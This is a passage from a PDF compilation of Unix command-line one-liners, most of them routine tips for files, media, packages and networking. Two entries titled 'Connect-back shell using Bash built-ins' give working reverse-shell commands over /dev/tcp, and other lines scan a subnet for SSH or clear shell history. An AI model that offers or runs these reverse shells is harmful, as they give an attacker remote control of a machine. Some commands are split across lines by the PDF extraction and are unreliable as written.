# format txt as table
cat /etc/passwd | column -nts:
# extract element of xml
xml2 < file.xml | grep ^/path/to/element | cut -f2- -d=
# listen to ram
cat /dev/mem > /dev/audio
# Remove all unused kernels with apt-get
aptitude remove ?and(~i~nlinux-(im|he) ?not(~n`uname -r`))
# Get a list of ssh servers on the local subnet
nmap -p 22 10.3.1.1/16 | grep -B 4 "open"
# apt-get upgrade with bandwidth limit
sudo apt-get -o Acquire::http::Dl-Limit=20 -o Acquire::https::Dl-Limit=20 upgrade -y
# find string into one pdf file
find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"
# retrieve the source address used to contact a given host
python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null
# add a ip address to a network device
ip addr add 192.168.10.1/24 dev eth0

# Convert a string to
python -c "print 'this is a test'.title()"
# get a process list by listen port

218 / 658

All UNIX COMMANDS


netstat -ntlp | grep -w 80 | awk '{print $7}' | cut -d/ -f1
# OpenDns IP update via curl
curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'
# Extracting frames from a video as jpeg files
mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames
# find available cpu frequencies on FreeBSD
sysctl dev.cpu.0.freq_levels
# remove execute bit only from files. recursively
find . -type f -exec chmod -x {} \;
# list block level layout
lsblk
# IP addresses connected to port 80
netstat -tn 2>/dev/null | grep ':80 ' | awk '{print $5}' |sed -e 's/::ffff://' | cut -f1 -d:
| sort | uniq -c | sort -rn | head
# Print trending topics on Twitter
wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require
"json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'
# Change to $HOME - zsh, bash4
~
# remove oprhan package on debian based system
sudo deborphan | xargs sudo apt-get -y remove --purge
# Change files case, without modify directories, recursively
find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+
# Print all fields in a file/output from field N to the end of the line
cut -f N- file.dat
# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons
# how to export a table in .csv file
mysql -u[username] -p[password] [nome_database] -B -e "SELECT * FROM [table] INTO OUTFILE
'/tmp/ca.csv' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';
# List directories sorted by (human readable) size
du -h --time --max-depth=1 | sort -hr
# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;
# use SHIFT + ALT to toggle between two keyboard layouts
setxkbmap -option grp:switch,grp:alt_shift_toggle,grp_led:scroll us,es
# Backup entire directory using rsync
rsync -avzhP <[[user@]host1:]directory1> <[[user@]host2:]directory2>
# Simple complete system backup excluding files or directories
tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /
# Display kernel profile of currently executing functions in Solaris.

219 / 658

All UNIX COMMANDS


lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out
# Reinstall Grub
sudo grub-install --recheck /dev/sda1
# Lists the size of certain file in every 10 seconds
watch -n 10 'du -sk testfile'
# Get the list of local files that changed since their last upload in an S3 bucket
changing_assets = `s3cmd sync --dry-run -P -M --exclude=*.php --delete-removed
#{preprod_release_dir}/web/ #{s3_bucket} | grep -E 'delete:|upload:' | awk '{print $2}' |
sed s_#{preprod_release_dir}/web__`
# get stdout to variable and stdout at sametime
{ var="$( ls / | tee >(cat - >&2) )"; } 2>&1; echo -e "*** var=$var"

# Download song from youtube for import into itunes (m4a format)
~/sbin/youtube-dl -t --extract-audio --audio-format=m4a http://www.youtube.com/watch?
v=DxL8X9mT90k
# finds the c files with lines containing 'mcs', in the folders under the current folder
find */*.c | xargs grep 'mcs'
# Print the last modified file
ls -t1 | head -n1
# Connect to all running screen instances
for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal
-e "screen -x $i"; done
# Monitor RX/TX packets and any subsquent errors
watch 'netstat -aniv'
# convert wav files to flac
flac --best *.wav
# HTTP GET request on wireshark remotly
ssh USER@HOST "sudo tshark -i eth0 -f 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] =
0x47455420' -w -" | wireshark -k -i # Watch active calls on an Asterisk PBX
watch "asterisk -vvvvvrx 'core show channels' | egrep \"(call|channel)\""
# convert wav files to ogg
oggenc *.wav
# Optimal way of deleting huge numbers of files
find /path/to/dir/ -type f -exec rm {} +
# Restart X11 with HUP signal
kill HUP `pidof '/usr/bin/X'`
# Unmount all CIFS drives
umount -a -t cifs
# Shell function to create a menu of items which may be inserted into the X paste buffer.
smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done )

220 / 658

All UNIX COMMANDS


# fix flash video (flv) file (ffmpeg)
ffmpeg -i broken.flv -acodec copy -vcodec copy fixed.flv
# Encrypt every file in the current directory with 256-bit AES, retaining the original.
for f in * ; do [ -f $f ] && openssl enc -aes-256-cbc -salt -in $f -out $f.enc -pass
file:/tmp/password-file ; done
# Open multiple tabs in Firefox from a file containing urls
for line in `cat $file`; do firefox -new-tab "$line" & 2>/dev/null; sleep 1; done
# Edit 2 or more files in vim using vim -d
vim -d '+diffoff!' file1 file2
# Email someone if a web page has been updated.
cd /some/empty/folder/website_diffs/sitename && wget -N http://domain.com/ 2>&1 |grep -q "o
newer" || printf "Sites web page appears to have updated.\n\nSuggest you check it out.\n\n"|
mail -s "Sites page updated." david@email.com
# pop-up messages on a remote computer
while : ; do if [ ! $(ls -l commander | cut -d ' ' -f5) -eq 0 ]; then notify-send "$(less
commander)"; > commander; fi; done
# Set random background image in gnome
gconftool-2 -t str -s /desktop/gnome/background/picture_filename "$(find ~/Wallpapers -type
f | shuf -n1)"
# List only hidden files
ls -d .??*
# GZip all files in a directory separately
gzip *
# Copy a file using dc3dd and watch its progress (very nice alternative to dd)
dc3dd progress=on bs=512 count=2048 if=/dev/zero of=/dev/null
# Create .pdf from .doc
wvPDF test.doc test.pdf
# Find all folder in /var that contains log in their path and have more than 10 files inside
them, print the folder and the count
for i in `find -L /var/ -wholename \*log\* -type d`; do COUNT=`ls -1U $i | wc -l`; if
[ $COUNT -gt 10 ]; then echo $i $COUNT; fi; done

# Convert embedded spaces in filenames to "_" (underscore)


ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh
# rename filenames: spaces to "_"
# Send e-mail if host is 'dead' or not reachable
10,30,50 * * * * ping -c1 -w3 192.168.0.14 >/dev/null
# Speed up builds and scripts, remove duplicate entries in $PATH. Users scripts are oftern
bad: PATH=/apath:$PATH type of thing cause diplicate.
export PATH=`echo -n $PATH | awk -v RS=":" '{ if (!x[$0]++) {printf s $0; s=":"} }'`
# Prepend a text to a file.
echo "text to prepend" | cat - file
# Display 6 largest installed RPMs sorted by size (descending)

221 / 658

All UNIX COMMANDS


rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs
# Twitter update from terminal
(pok3's snipts ?)
curl -u YourUsername:YourPassword -d status="Your status message go here"
http://twitter.com/statuses/update.xml
# get only time of execution of a command without his output
time Command >/dev/null
# strace like SystemTap script
stap -v strace.stp -c /path/to/command
# Download SSL server certificate with opsnessl
openssl s_client -connect www.example.com:443 > /tmp/example.com.cert
# Move cursor to end of line
Ctrl + e
# PRINT LINE the width of screen or specified using any char including Colors, Escapes and
metachars
L(){ l=`builtin printf %${2:-$COLUMNS}s` && echo -e "${l// /${1:-=}}"; }
# fdiff is a 'filtered diff'. Given a text filter and two inputs, will run the filter across
the input files and diff the output.
fdiff() { ${DIFFCMD:-diff} <( $1 $2 ) <( $1 $3 ); }
# An alias to select a portion of your desktop and save it as an image.
alias capture='IMAGE="/home/user/Pictures/capture-`date +%Y%m%d%H%M%S`.png"; import -frame
$IMAGE; echo "Image saved as $IMAGE"'
# Exclude a string with awk
awk '{sub("String","")}1'
# Email yourself a quick message
mailme(){ mailx -s "$@" $USER <<< "$@"; }
# Watch command
watch -n 2 command
# Insert a line for each n lines
ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"
# posts an xml file to a webservice with curl
curl -X POST -d @request.xml -H 'Content-Type: text/xml' https://hostname/context/service
# Grep for regular expression globally, list files and positions.
find . -name "*.pbt" -exec grep -Hirn "declareObject.*Common_Down" {} \;
# Paste hardware list (hwls) in html format into pastehtml.com directly from console and
return URI.
listhw(){ curl -s -S --data-urlencode "txt=$(sudo lshw -html)"
"http://pastehtml.com/upload/create?input_type=html&result=address";echo;}
# Show sections of a man page.
man ls | egrep "^([A-Z]|
[A-Z])"
# Join the content of a bash array with commas
(IFS=,; echo "${array[*]}")
# Recursive Search and Replace

222 / 658

All UNIX COMMANDS


perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`
# Load all files (including in subdirs), whose name matches a substring, into Vim
vim $(find . ! -path \*.svn\* -type f -iname \*foo\*)
# Kill multiple instances of a running process
killall -9 rouge-process

# Remove specific entries from iptables


iptables -L INPUT --line-numbers
# purge all packages marked with 'rc'
sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`
# sort ugly text
sort -bdf
# Alias for quick command-line volume set (works also remotely via SSH)
alias setvol='aumix -v'
# execute your commands hiding secret bits from history records
read -e -s -p "Password: " password
# Get the dir listing of an executable without knowing its location
ls -l `which gcc`
# git diff of files that have been staged ie 'git add'ed
git diff --cached
# Update a tarball
tar -tf file.tar | tar -T - -uf file.tar
# Trim linebreaks
cat myfile.txt | tr -d '\n'
# Generat a Random MAC address
od -An -N10 -x /dev/random | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g;
s/:$//;'
# View any already in progress copy command in detail
sudo lsof -p1234 | grep -E "(3r|4w).*REG"
# Get duration of an audio file in seconds.
get_duration() { durline=$(sox "$1" -n stat 2>&1|grep "Length (seconds):");echo $
{durline#*\: }; }
# Cut/Copy brackets or parentheses on vim (in normal mode)
d + %
# Bypass 1000 Entry limit of Active Directory with ldapsearch
ldapsearch -LLL -H ldap://${HOST}:389 -b 'DC=${DOMAIN},DC=${TLD}' -D '${USER}' -w
'password' objectclass=* -E pr=2147483647/noprompt
# Track X Window events in chosen window
xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`
# Insert a line for each n lines
ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'

223 / 658

All UNIX COMMANDS


# Determine next available UID
awk -F: '{uid[$3]=1}END{for(x=500; x<=600; x++) {if(uid[x] != ""){}else{print x;
exit;}}}' /etc/passwd
# cpu info
sudo dmidecode -t processor
# Ask user to confirm
Confirm() { echo -n "$1 [y/n]? " ; read reply; case $reply in Y*|y*) true ;; *) false ;;
esac }
# Extract audio from a video
ffmpeg -i input.mp4 -vn -acodec copy output.m4a
# Shrink more than one blank lines to one in VIM.
:%v/./,/./-j
# Send a local file via email
cat filename | mail -s "Email subject" user@example.com
# Display condensed log in a tree-like format.
git log --graph --pretty=oneline --decorate
# Count number of hits per IP address in last 2000 lines of apache logs and print the IP and
hits if hits > 20
tail -n2000 /var/www/domains/*/*/logs/access_log | awk '{print $1}' | sort | uniq -c | sort
-n | awk '{ if ($1 > 20)print $1,$2}'
# lotto generator
echo $(shuf -n 6 -i 1-49 | sort -n)

# Console clock -- Revised


yes 'clear;printf "\n\n\n\n\t\t\t`date`\n";sleep 1' | sh
# socat TCP-LISTEN:5500 EXEC:'ssh user@remotehost "socat STDIO UNIXCONNECT:/var/run/mysqld/mysqld.sock"'
Tunnel a MySQL server listening on a UNIX socket to the local machine
# easily strace all your apache *child* processes
ps h --ppid $(cat /var/run/apache2.pid) | awk '{print"-p " $1}' | xargs sudo strace
# Find number of computers in domain, OU, etc .
dsquery computer DC=example,DC=com -limit 150 | find /c /v ""
# Compare prices in euro of the HTC Desire on all the european websites of Expansys.
for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O
- http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p
id='price'><strong>&euro; \([0-9]*[,.][0-9]*\).*/\1/g"; done
# list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '{ if ($1 <2000) print $0 }' | sed 's/^[0-9]*.//'
# Replace spaces in a filename with hyphens
rename 's/ /-/g' *
# Paste command output to www.pastehtml.com in txt format.

224 / 658

All UNIX COMMANDS


paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?
input_type=txt&result=address";echo;}
# extract audio from flv to mp3
ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3
# Buffer in order to avoir mistakes with redirections that empty your files
buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1"
] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}"
"$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }
# Delete all files older than X in given path
find . -mtime +10 -delete
# Work out numerical last month
LASTMONTHNUM=`date -d "last month" +%m`
# Create a file of a given size in linux
dd if=/dev/zero of=sparse_file bs=1024 skip=1024 count=1
# Read funny developer comments in the Linux source tree
grep -2riP '\b(fuck|shit|bitch|tits|ass\b)' /usr/src/linux/
# Alias TAIL for automatic smart output
alias tail='tail -n $((${LINES:-`tput lines 2>/dev/null||echo -n 80`} - 7))'
# reduce mp3 bitrate (and size, of course)
lame --mp3input -m m --resample 24 input.mp3
# using scanner device from command line
scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm
# Check if filesystem hangs
ls /mnt/badfs &
# convert a line to a space
echo $(cat file)
# Connect-back shell using Bash built-ins
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port
1>&0 2>&0
# List every file that has ever existed in a git repository
git log --all --pretty=format:" " --name-only | sort -u
# remove newlines from specific lines in a file using sed
sed -i '/pattern/N; s/\n//' filename
# List all TCP opened ports on localhost in LISTEN mode
netstat -nptl
# Replicate a directory structure dropping the files
find . -type d -exec mkdir -p $DESTDIR/{} \;
# Pull git submodules in parallel using GNU parallel
parallel -j4 cd {}\; pwd\; git pull :::: <(git submodule status | awk '{print $2}')

# Show every subdirectory (zsh)

225 / 658

All UNIX COMMANDS


ls -ld **/*(/)
# ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile phone
ffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec
mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9
Chuck20100208800PMChuckVersustheMask.mp4
# Top ten memory hogs
ps -eorss,args | sort -nr | pr -TW$COLUMNS | head
# Connect-back shell using Bash built-ins
bash -i >& /dev/tcp/IP/PORT 0>&1
# View internet connection activity in a browser
lsof -nPi | txt2html > ~/lsof.html
# create a backup for all directories from current dir
find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}
# Set gnome wallpaper to a random jpg from the specified directory
gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name
'*.jpg' | shuf -n 1`"
# Update twitter with Perl
perl -MNet::Twitter -e '$nt = Net::Twitter->new(traits => [qw/API::REST/], username => "YOUR
USERNAME", password => "YOUR PASSWORD"); $ud = $nt->update("YOUR TWEET");'
# Recover deleted Binary files
sudo foremost -i /dev/sda -o /recovery
# Continue a current job in the background
%1 &!
# Get and read log from remote host (works with log on pipe, too)
ssh remoteUser@remoteHost "tail -f /var/log/scs/remoteLogName" | tee localLogName
# Edit 2 or more files in vim using vim -d
vim -O file1 file2
# Dump a configuration file without comments or whitespace...
grep -v "\ *#\|^$" /etc/path/to.config
# Make ogg file from wav file
oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'
# Length of longest line of code
awk '(length>t) {t=length} END {print t}' *.cpp
# Get the date for the last Saturday of a given month
cal 04 2012 | awk '{ $7 && X=$7 } END { print X }'
# Replace "space" char with "dot" char in current directory file names
ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done
# Display usb power mode on all devices
for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done
# Save a file you edited in vim without the needed permissions - (Open)solaris version with
RBAC
:w !pfexec tee %

226 / 658

All UNIX COMMANDS


# Url Encode
echo "$@" | sed 's/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s/'\''/
%27/g;s/(/%28/g;s/)/%29/g;s/:/%3A/g'
# Add a progress counter to loop (see sample output)
finit "1 2 3" 3 2 1 | while fnext i ; do echo $i; done;
# Realtime lines per second in a log file
tail -f /var/log/logfile|perl -e 'while (<>) {$l++;if (time > $e) {$e=time;print "$l\n";
$l=0}}'
# List all files ever added in git repository
git log --name-status --oneline --all | grep -P "^[A|M|D]\s" | awk '{print $2}' | sort |
uniq
# Copy the sound content of a video to an mp3 file
ffmpeg -i source.flv -vn acodec copy destination.mp3
# Join a folder full of split files
for file in *.001; do NAME=`echo $file | cut -d. -f1,2`; cat "$NAME."[0-9][0-9][0-9] >
"$NAME"; done

# Find all files containing a word


find . -name "*.php" | xargs grep -il searchphrase
# Dump snapshot of UFS2 filesystem, then gzip it
dump -0Lauf - /dev/adXsYz | gzip > /path/to/adXsYz.dump.gz
# Are the two lines anagrams?
(echo foobar; echo farboo) | perl -E 'say[sort<>=~/./g]~~[sort<>=~/./g]?"anagram":"not
anagram"'
# shell function which allows you to tag files by creating symbolic links directories in a
'tags' folder.
tag() { local t="$HOME/tags/$1"; [ -d $t ] || mkdir -p $t; shift; ln $* $t;}
# disable caps lock
xmodmap -e "remove Lock = Caps_Lock"
# Create a video that is supported by youtube
ffmpeg -i mymovie.mpg -ar 22050 -acodec libmp3lame -ab 32K -r 25 -s 320x240 -vcodec flv
mytarget.flv
# Clear your history saved into .bash_history file!
history -c
# Find all files containing a word
grep -rHi searchphrase *.php
# Alias for lazy tmux create/reattach
alias ltmux="if tmux has; then tmux attach; else tmux new; fi"
# Annoying PROMPT_COMMAND animation
PROMPT_COMMAND='seq $COLUMNS | xargs -IX printf "%Xs\r" @'
# Print all /etc/passwd lines with duplicated uid

227 / 658

All UNIX COMMANDS


awk -F: 'BEGIN{a[NULL]=0;dupli[NULL]=0;}{if($3 in a){print a[$3];print ;}else a[$3]=$0;}
' /etc/passwd | sort -t: -k3 -n | sed -e 's/^/'$(hostname)':/g'
# Run the last command as root - (Open)Solaris version with RBAC
pfexec !!
# create SQL-statements from textfile with awk
$ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt
# Clear your history saved into .bash_history file!
history -c && rm -f ~/.bash_history
# Check to make sure the whois nameservers match the nameserver records from the nameservers
themselves
domain=google.com; for ns in $(whois $domain | awk -F: '/Name Server/{print $2}'); do echo
">>> Nameservers for $domain from $a <<<"; dig @$ns $domain ns +short; echo; done;
# Get length of current playlist in xmms2
xmms2 list | grep '^\s\+\[' | wc -l
# ttyS0 - terminal on serial connection
setserial -q /dev/ttyS0
# Simple example of the trap command
trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP
# DVD ripping with ffmpeg
ffmpeg -i concat:VTS_02_1.VOB\|VTS_02_2.VOB\|VTS_02_3.VOB\|VTS_02_4.VOB\|VTS_02_5.VOB -map
0:v:0 -map 0:a:0 -codec:a libvo_aacenc -ab 128 -codec:v libx264 -vpre libx264-ipod640
movie.mp4
# Clean up after a poorly-formed tar file
tar ztf tar-lacking-subdirectory.tar.gz | xargs rm
# mplayer -af scaletempo
mplayer -af scaletempo -speed 1.5 file.avi
# Compress blank lines in VIM
:g/^\s*$/,/\S/-j|s/.*//
# Function to output an ASCII character given its decimal equivalent
chr() { printf \\$(printf %o $1); }
# List all authors of a particular git project
git log --format='%aN <%aE>' | awk '{arr[$0]++} END{for (i in arr){print arr[i], i;}}' |
sort -rn | cut -d\ -f2# "What the hell is running on?!" Easily snoop your system's RAM consumption
ps aux | awk '$11!~/\[*\]/ {print $6/1024" Mb --> "$11,$12,$13,$14}' | sort -g

# Mount iso to /mnt on Solaris


mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt
# Short Information about loaded kernel modules
lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'
# Create commands to download all of your Picasaweb albums

228 / 658

All UNIX COMMANDS


google picasa list-albums |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\
picasa\ get\ /|awk ' {print $0,"."}'
# Extract the MBR ID of a device
dd if=/dev/sda bs=1 count=4 skip=$((0x1b8)) 2>/dev/null | hexdump -n4 -e '"0x%x\n"'
# Get OSX Battery percentage
pmset -g batt | egrep "([0-9]+\%).*" -o --colour=auto | cut -f1 -d';'
# exclude file(s) from rsync
rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path
# View a man page on a nice interface
yelp man:foo
# Touch a file using a timestamp embedded in the file name.
tstouch() { [[ $1 =~ $2 ]] && touch -t ${BASH_REMATCH[1]} $1; }
# Get My Public IP Address
curl -s http://whatismyip.org/
# watch your network load on specific network interface
watch -n1 'ifconfig eth0|grep bytes'
# Are the two lines anagrams?
anagram(){ s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s $1) <(s $2)||echo -n "not ";echo
anagram; }; anagram foobar farboo;
# cd into the latest directory
alias cd1='cd $( ls -lt | grep ^d | head -1 |

cut -b 51- )'

# Invert selection with find.


find . ! -name "*.tar.gz"
# Get My Public IP Address
wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
# Search for a <pattern> string inside all files in the current directory
find . -type f -print0 | xargs -0 grep -i <pattern>
# Remove audio stream from a media file
avconv -i infile.avi -an outfile.avi
# Sed can refference parts of the pattern in the replacement:
echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'
# Returns the number of cores in a linux machine.
grep -c ^processor /proc/cpuinfo
# Find Out My Linux Distribution Name and Version
lsb_release -ri
# execute your commands and avoid history records
export HISTCONTROL=ignorespace
# Dump the root directory to an external hard drive
dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 /
# Sort installed rpms by decreasing size.
rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less

229 / 658

All UNIX COMMANDS


# Find which service was used by which port number
getent services <port_number>
# Start vim without initialization
vim -u NONE yourfile
# Label EXT2/EXT3 File System
e2label /dev/vg0/lv0 MyFiles

# Make shell (script) low priority. Use for non interactive tasks
renice 19 -p $$
# hanukkah colored bash prompt
export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "
# Sort installed rpms in alphabetic order with their size.
rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less
# Print all environment variables, including hidden ones
for _a in {A..Z} {a..z};do _z=\${!${_a}*};for _i in `eval echo "${_z}"`;do echo -e "$_i: ${!
_i}";done;done|cat -Tsv
# Show LAN IP with ip(8)
ip route show dev eth0 | awk '{print $7}'
# Make directories for and mount all iso files in a folder
for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660
-o loop $file `basename $file | awk -F. '{print $1}'`; done
# Show numerical values for each of the 256 colors in ZSH
for code in {000..255}; do print -P -- "$code: %F{$code}Test%f"; done
# Revert an SVN file to previous revision
svn up -rREV file
# make a list of movies(.m3u).
find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.
+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u
# Check if a command is available in your system
type {command} >/dev/null
# fork performance test
while (true); do date --utc; done | uniq -c
# Start a terminal with three open tabs
gnome-terminal --tab --tab --tab
# Show permissions of current directory and all directories upwards to /
dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /
# Copy a directory recursively without data/files
find . -type d -exec mkdir /copy_location/{} \;
# Get all links from commandlinefu front page
mech-dump --links --absolute http://www.commandlinefu.com

230 / 658

All UNIX COMMANDS


# Convert a date to timestamp
date --utc --date "2009-02-06 09:57:54" +%s
# Delete .svn directories and content recursively
`find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`
# Make info pages much less painful
pinfo date
# github push-ing behind draconian proxies!
git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git
# Mount/unmount your truecrypted file containers
truecrypt volume.tc
# Analyse writing style of writing style of a document
style TEXT-FILE
# Know which version dpkg/apt considers more recent
dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n
# paste one file at a time instead of in parallel
paste --serial file1 file2 file3
# Lists architecture of installed RPMs
rpm -qa --queryformat "%{NAME} %{ARCH}\n"
# fetch all revisions of a specific file in an SVN repository
svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn
cat fileName@"$1" > /tmp/fileName.r"$1'}|sh

# Write a listing of all directories and files on the computer to a compressed file.
sudo ls -RFal / | gzip > all_files_list.txt.gz
# Apache CLF access log format to CSV converter
#(see sample) $ cat x | perl -pe 'BEGIN{ print "TIME;...\n"; } s!(\S+) - (\S+) - \[(\d\d)/
(\S\S\S)/(\S+):(\d\d):(\d\d:\d\d) \S+\] "(\S+) (.*/)(\S+)(?:\.([^?]*)(\?\S*)?) HTTP/\S+"
(\d+) (\S+)!$3-$4-$5 $6:$7;$6;$2;$1;$8;$13;1;$14;$11;$10;$9;$12;!' > x.csv
# Change Gnome wallpaper
gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>
# Solaris - check ports/sockets which process has opened
/usr/proc/bin/pfiles $PID | egrep "sockname|port"
# Ultimate current directory usage command
find . -maxdepth 1 -type d|xargs du -a --max-depth=0|sort -rn|cut -d/ -f2|sed '1d'|while
read i;do echo "$(du -h --max-depth=0 "$i")/";done;find . -maxdepth 1 -type f|xargs du -a|
sort -rn|cut -d/ -f2|sed '$d'|while read i;do du -h "$i";done
# change dinosaur poop into gold
sqlite3 -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url from
moz_places ;' | grep http
# concatenate compressed and uncompressed logs
zgrep -h "" `ls -tr access.log*`
# Purge configuration files of removed packages on

231 / 658

debian based systems

All UNIX COMMANDS


dpkg -l | grep ^rc | awk '{print $2}' | xargs dpkg -P
# Adding a startup script to be run at bootup Ubuntu
sudo update-rc.d <scriptname> defaults
# Expedient hard disk temprature and load cycle stats
watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda |
grep Temp'
# Create a self-signed certificate for Apache Tomcat
${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (# of days valid)] -keyalg RSA
-keystore (Path to keystore)
# make pgsql backup and gzip it
pg_dump otrs2 | gzip > dump.gz
# Freshening up RKhunter
rkhunter --versioncheck --update --propupd --check
# Get video information with ffmpeg
ffprobe video.flv
# underscore to camelcase
echo "this_is_a_test" | sed -r 's/_([a-z])/\U\1/g'
# create a simple version of ls with extended output
alias l='ls -CFlash'
# Resume an emerge, and keep all object files that are already built
FEATURES=keepwork emerge --resume
# Remove an IP address ban that has been errantly blacklisted by denyhosts
denyhosts-remove $IP_ADDRESS
# create a progress bar...
p(){ c=$(($(tput cols)-3));j=$(($1*c/100)); tput sc;printf "[$(for((k=0;k<j;k++));do printf
"=";done;)>";tput cuf $((c-j));printf "]";tput rc; };for((i=0; i<=100; i++));do p
i;done;echo
# Displays the current time using HTTP
curl -Is google.com | grep Date
# Get the IP address
ip -f inet a | awk '/inet / { print $2 }'
# detect partitions
blkid -c /dev/null
# auto terminal title change
echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"
# Get table column names from an MySQL-database in comma-seperated form
mysql -u<user> -p<password> -s -e 'DESCRIBE <table>' <database> | tail -n +1 | awk
'{ printf($1",")}' | head -c -1
# Open a file in a GTK+ dialog window
zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passwd

232 / 658

All UNIX COMMANDS


# Update your journal
vi ~/journal/$(date +%F)
# Clear history
history -c
# Dump and bz2compress a mysql db
mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2
# Remove all the files except abc in the directory
rm ^'name with spaces'
# identify exported sonames in a path
scanelf --nobanner --recursive --quiet --soname --format "+S#f"
# Slow down IO heavy process
slow () { [ -n $1 ] && while ps -p $1 >/dev/null ; do kill -STOP
$1; sleep 1; done & }

$1; sleep 1; kill -CONT

# Get version of loaded kernel module


lsmod | grep -io MODULENAME| xargs modinfo | grep -iw version
# Then end of the UNIX epoch
date -d @$(echo $((2 ** 31 - 1)))
# Search big files with long lines
lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; }
# Find all plain text files that do not contain STRING
find . -type f ! -exec grep -q 'STRING' {} \; -print
# parted - scripted partitioning (of all multipathed SAN LUNs)
for i in $(multipath -ll | grep "3PARdata,VV"|awk '{print $1}') ; do parted -a optimal
/dev/mapper/$i --script -- mklabel gpt mkpart primary 1 -1 set 1 lvm on ; done
# change ownership en masse of files owned by a specific user, including files and
directories with spaces
